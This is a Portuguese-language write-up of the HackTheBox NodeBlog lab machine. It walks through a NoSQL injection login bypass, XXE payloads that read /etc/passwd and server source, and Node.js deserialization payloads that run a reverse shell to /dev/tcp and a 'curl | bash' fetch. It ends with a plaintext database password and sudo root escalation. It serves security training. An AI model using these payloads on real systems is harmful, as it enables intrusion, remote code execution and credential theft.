> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/linux-easy/nodeblog-hackthebox-writeup.md).

# Relato do HackTheBox NodeBlog

{% embed url="<https://app.hackthebox.com/machines/NodeBlog>" %}

{% hint style="warning" %}
**Habilidades:**

* Injeção NoSQL (bypass de autenticação)
* Leitura de arquivo via XXE
* Ataque de desserialização em NodeJS (abuso de IIFE)
* Enumeração do banco de dados Mongo
  {% endhint %}

## Reconhecimento

**Verificação de conectividade da VPN**

Verifique a conectividade da VPN para garantir comunicação estável com a máquina-alvo.

<figure><img src="/files/fa42ce97afa4b51cb3707077b349d5f7231fc1a9" alt=""><figcaption></figcaption></figure>

**Descoberta de portas abertas com Nmap:**

Enumere as portas abertas e exporte os resultados para o arquivo "allPorts" no diretório do Nmap:

```bash
nmap -p- --open -sS -n -Pn --min-rate 5000 -vvv 10.10.11.139
```

<figure><img src="/files/a662deded873fecc0a587ef47f9d850ba62a5677" alt=""><figcaption></figcaption></figure>

Varredura de versão de portas com Nmap 22.5000

Use o Nmap para verificar as versões dos serviços e salvar a saída no arquivo "targeted":

```bash
nmap -sCV -p22,5000 10.10.11.139 -oN targeted
```

<figure><img src="/files/b6967687fa91ece1f125d0e253f99a0c8e7d99e9" alt=""><figcaption></figcaption></figure>

### Análise da porta 5000 - Aplicação NodeJS

<figure><img src="/files/54344f77658c15cd099578227fe3beb833d8aa5b" alt=""><figcaption></figcaption></figure>

* Um painel de administração é descoberto.
* O `admin` o usuário é válido.

<figure><img src="/files/d9bfe139bfc60836f5eed2767c0db965010cc88c" alt=""><figcaption></figcaption></figure>

## Vulnerabilidade de injeção NoSQL (bypass de autenticação)

Interceptando a requisição com o Burp Suite.

<figure><img src="/files/addb257159aa465b2554a984556aac131b0fae72" alt=""><figcaption></figcaption></figure>

Testar payloads clássicos de injeção:

```bash
username=admin&password[$ne]=toto
```

Isso não funciona.

Converter para JSON e alterar o `Content-Type` para `application/json`:

```sql
{
  "user": "admin",
  "password": { "$ne": null }
}
```

Resultado: autenticação bem-sucedida!

<figure><img src="/files/40224c41aca9e2ec7eb2e63a0dfc8b7386bb4ed5" alt=""><figcaption></figcaption></figure>

## Exploração da vulnerabilidade de injeção XXE

<figure><img src="/files/68fa1a3e7bb75fe7fed2659fd7ca6499e3cd87e9" alt=""><figcaption></figcaption></figure>

Envio de um arquivo TXT: recusado, apenas arquivos XML são aceitos.

```
Olá, isto é um teste
```

<figure><img src="/files/207a68f7d43085ba2708a92efdc131e558ad0303" alt=""><figcaption></figcaption></figure>

Formato exigido :

```xml
<post>
    <title>Exemplo de Publicação</title>
    <description>Exemplo de Descrição</description>
    <markdown>Exemplo de Markdown</markdown>
</post>
```

<figure><img src="/files/ec248dc489da33c81bcc7d476289d16483f93aaf" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/69aafc4c9aa0471745e8ba3d131e3c204d59f2d2" alt=""><figcaption></figcaption></figure>

Enviando um arquivo XML contendo uma entidade externa para ler `/etc/passwd`:

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ 
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<post>
    <title>Exemplo de Publicação</title>
    <description>Exemplo de Descrição</description>
    <markdown>&xxe;</markdown>
</post>
```

Resultado: O conteúdo de `/etc/passwd` é exibido.

<figure><img src="/files/e2a13f3aa8a9bb1cad85e5d1acdaf115c31fa830" alt=""><figcaption></figcaption></figure>

* Descoberta de um usuário `admin`.

<figure><img src="/files/279e1daa56b6087e7f1370710b3f0e38274c6ecd" alt=""><figcaption></figcaption></figure>

Injeção para ler `/opt/blog/server.js` e identificar credenciais armazenadas.

<figure><img src="/files/711efe172bfeb9ec95a0d4cee5752e9371bab3cf" alt=""><figcaption></figcaption></figure>

```bash
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ 
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///opt/blog/server.js" >]>
<post>
    <title>Exemplo de Publicação</title>
    <description>Exemplo de Descrição</description>
    <markdown>&xxe;</markdown>
</post>
```

<figure><img src="/files/47044b447a5ee01ac395ad2ed73d9ded2f25fa66" alt=""><figcaption></figcaption></figure>

## Aproveitando a desserialização do NodeJS

* Foi descoberta uma função que desserializa cookies de sessão.

<div data-full-width="true"><figure><img src="/files/f1c5000e070a675fd984fbaa436941f48976b38d" alt=""><figcaption></figcaption></figure></div>

Criando um payload:

{% code overflow="wrap" %}

```javascript
{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('ping -c 1 10.10.14.61', function(error, stdout, stderr) { console.log(stdout) }); }()"}
```

{% endcode %}

Ouvindo o tráfego ICMP com:

```bash
tcpdump -i tun0 icmp -n
```

* Codificação de URL:

<figure><img src="/files/02fec37bf72a2fb93c61ac11bd17aa076e490b14" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" %}

```bash
%7b%22%72%63%65%22%3a%22%5f%24%24%4e%44%5f%46%55%4e%43%24%24%5f%66%75%6e%63%74%69%6f%6e%28%29%7b%72%65%71%75%69%72%65%28%27%63%68%69%6c%64%5f%70%72%6f%63%65%73%73%27%29%2e%65%78%65%63%28%27%70%69%6e%67%20%2d%63%20%31%20%31%30%2e%31%30%2e%31%34%2e%32%38%27%2c%20%66%75%6e%63%74%69%6f%6e%28%65%72%72%6f%72%2c%20%73%74%64%6f%75%74%2c%20%73%74%64%65%72%72%29%20%7b%20%63%6f%6e%73%6f%6c%65%2e%6c%6f%67%28%73%74%64%6f%75%74%29%20%7d%29%3b%20%7d%28%29%22%7d
```

{% endcode %}

Construção de uma RCE via codificação de URL e injeção em cookies.

<figure><img src="/files/7fb414ae5221d03453b90417ec3d342df292f33a" alt=""><figcaption></figcaption></figure>

```bash
tcpdump -i tun0 icmp -n
```

<figure><img src="/files/7765b204e365589d4be5b5e5975e69f7a51d8a99" alt=""><figcaption></figcaption></figure>

### RCE - Vulnerabilidade de desserialização (nodejs)

Criando um `index.html` script de shell reversa:

```bash
#!/bin/bash 
bash -i >& /dev/tcp/10.10.14.61/443 0>&1
```

Iniciando um servidor HTTP:

```bash
python3 -m http.server 80
```

Ouvindo:

```bash
nc -nlvp 443
```

#### Enviando o payload :

{% code overflow="wrap" %}

```javascript
{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('curl http://10.10.14.61 | bash', function(error, stdout, stderr) { console.log(stdout) }); }()"}
```

{% endcode %}

* Codificação de URL:

{% code overflow="wrap" %}

```
%7b%22%72%63%65%22%3a%22%5f%24%24%4e%44%5f%46%55%4e%43%24%24%5f%66%75%6e%63%74%69%6f%6e%28%29%7b%72%65%71%75%69%72%65%28%27%63%68%69%6c%64%5f%70%72%6f%63%65%73%73%27%29%2e%65%78%65%63%28%27%63%75%72%6c%20%68%74%74%70%3a%2f%2f%31%30%2e%31%30%2e%31%34%2e%36%31%20%7c%20%62%61%73%68%27%2c%20%66%75%6e%63%74%69%6f%6e%28%65%72%72%6f%72%2c%20%73%74%64%6f%75%74%2c%20%73%74%64%65%72%72%29%20%7b%20%63%6f%6e%73%6f%6c%65%2e%6c%6f%67%28%73%74%64%6f%75%74%29%20%7d%29%3b%20%7d%28%29%22%7d
```

{% endcode %}

Resultado: acesso à shell obtido.

<figure><img src="/files/0c85c6123ae5ba64a8b2eae5747b6aa2b809ba43" alt=""><figcaption></figcaption></figure>

### Flag user.txt :)

<figure><img src="/files/5a58dc7aa4cdac21a5f4eab3a0cb24b1f1a78257" alt="" width="563"><figcaption></figcaption></figure>

## Escalada de privilégios

### Enumeração do banco de dados Mongo

<figure><img src="/files/e670f8d8441e1ee1df339f8e3e308fe1d45ec695" alt=""><figcaption></figcaption></figure>

Conexão com o banco de dados MongoDB (porta 27017 aberta):

```bash
mongo
show dbs
use blog
show tables
db.users.find()
```

<figure><img src="/files/f9570e0253f78475fe5ea0403c202bdc7e5f64b3" alt="" width="563"><figcaption></figcaption></figure>

* user: admin
* senha : IppsecSaysPleaseSubscribe

<figure><img src="/files/36fb0cd21e9a1ce0686cb9c7e407ce5d1cbc5401" alt=""><figcaption></figcaption></figure>

### Sudo (ALL:ALL)

Verificando privilégios do sudo:

```bash
sudo -l
```

Resultado: o usuário admin pode executar `sudo su` sem uma senha.

<figure><img src="/files/5ed8f43e56340a2c12077b2c544985835f9713a3" alt=""><figcaption></figcaption></figure>

Passagem para root :

```bash
sudo su
```

<figure><img src="/files/d686dcea5489e7996bc7ccb98fb68acc35cc9792" alt="" width="563"><figcaption></figcaption></figure>

### Flag root.txt :)

<figure><img src="/files/8ccd5b45b5db4b9d103fd0e1b4561bef171f1b47" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/f0da1d9833e5060f4030d5925de0b49c20765c6c" alt="" width="338"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/linux-easy/nodeblog-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
